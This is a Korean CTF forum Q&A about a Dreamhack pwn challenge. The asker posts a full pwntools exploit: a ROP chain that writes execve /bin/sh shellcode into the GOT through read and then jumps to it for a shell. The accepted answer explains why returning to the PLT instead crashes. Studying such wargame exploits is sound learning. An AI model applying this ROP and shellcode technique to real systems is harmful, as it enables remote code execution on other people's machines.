10 코인
got를 넣어줬을 때는 실행되고 plt를 넣어줬을 때는 실패하는 이유
from pwn import *
context.arch = 'amd64'
p = remote('host1.dreamhack.games', 17182)
e = ELF('./validator_server')
payroad = b'DREAMHACK!'
for i in range(118 + 8, 0, -1):
payroad += (i).to_bytes(1, byteorder='little')
shell_code = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
read_plt = e.plt['read']
read_got = e.got['read']
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
payroad += p64(pop_rdi) + p64(0)
payroad += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payroad += p64(pop_rdx) + p64(len(shell_code))
payroad += p64(read_plt)
payroad += p64(read_got) # read_plt를 넣어도 똑같은 거 아닌가요??
p.send(payroad)
p.send(shell_code)
p.interactive()
위의 코드로 익스플로잇을 실행했을 때 마지막 payroad에 read_plt를 넣었을 때는 쉘을 획득하지 못하고 read_got를 넣었을 때만 쉘코드가 실행되는 이유가 궁금합니다.
read_plt를 넣어줘도 read_got의 주소를 가리키게 돼서 결국 read_got의 쉘코드가 실행되어야 하지 않나요?
#plt
#got
작성자 정보
답변
1
질문자가 채택한 답변입니다. 좋은 지식을 공유해줘서 고마워요!
kwakmu18
사이보그
plt/got 동작 원리를 살펴보면, got 영역에는 라이브러리 함수들의 실제 주소가 작성되어 있습니다.
바이너리에서 라이브러리 함수를 호출할 때는 plt를 호출하는데, plt 코드를 보면 GOT 영역에 작성된 주소로 점프하도록 되어 있습니다.
read_plt를 이용해 read_got에 쉘코드를 입력하고 read 함수에서 ret 하면, 스택에서 값을 꺼내 rip에 대입합니다.(그곳으로 rip가 이동)
마지막에 read_got를 넣는 경우에는 rip가 read 함수의 GOT로 이동하므로, read 함수의 GOT에 작성된 쉘코드가 정상적으로 실행됩니다.
마지막에 read_plt를 넣는 경우에는 GOT 영역에 작성된 주소로 점프하므로, 쉘코드의 앞 8바이트인 0x6e69622fbb48f631 로 이동하게 되어 SIGSEGV가 발생하게 됩니다.